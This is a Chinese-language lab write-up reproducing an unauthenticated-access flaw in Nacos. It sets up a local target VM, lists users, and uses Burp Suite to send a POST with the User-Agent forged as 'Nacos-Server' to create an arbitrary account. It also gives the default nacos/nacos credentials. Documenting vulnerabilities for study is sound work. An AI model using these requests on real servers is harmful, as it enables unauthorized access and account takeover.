0x00 漏洞概述
nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息并创建任意用户进行登录。
0x01 环境搭建
使用CentOS 7虚拟机来充当靶机
下载安装文件:
https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
解压文件进入目录 /nacos/bin
在该目录下使用命令
./startup.sh -m standalone
启动环境
nacos的默认端口是8848
所以在当前虚拟机浏览器内输入
127.0.0.1:8848/nacos
进入Nacos登录页面
默认账号密码为:nacos/nacos
进行到这一步代表环境已经搭建成功了
0x02 漏洞复现
开启一台装有burp suite的kali虚拟机用来复现漏洞
访问靶机安装的nacos环境
http://靶机ip:8848/nacos
靶机ip地址在靶机内使用ifconfig命令查看
ens33的ip即为靶机地址
kali内成功访问靶机Nacos页面
在url处添加访问网址查看Nacos当前用户列表
http://靶机ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=100
启动burpsuite,进入proxy模块
点击intercept is off 使其更改为 intercept is on
有点懒,直接用bp自带的代理浏览器了
在代理浏览器内输入以下url
http://靶机ip:8848/nacos/v1/auth/users
bp会弹出并显示抓取到的信息
点击右键,选择Send to Repeater
点击上方Repeater模块进入该页面
右键选择Change request method
将请求方式从GET更改为POST
将User-Agent字段的内容更改为Nacos-Server
更改前
更改后
构造一个POST请求体,注意要与头部字段之间有空行
username=haha&password=haha
username为需要添加的用户名
password为该用户名对应的密码
点击Send,查看返回参数,显示200时表示成功!
退出bp,打开浏览器
在url处添加访问网址查看当前用户列表
http://靶机ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=100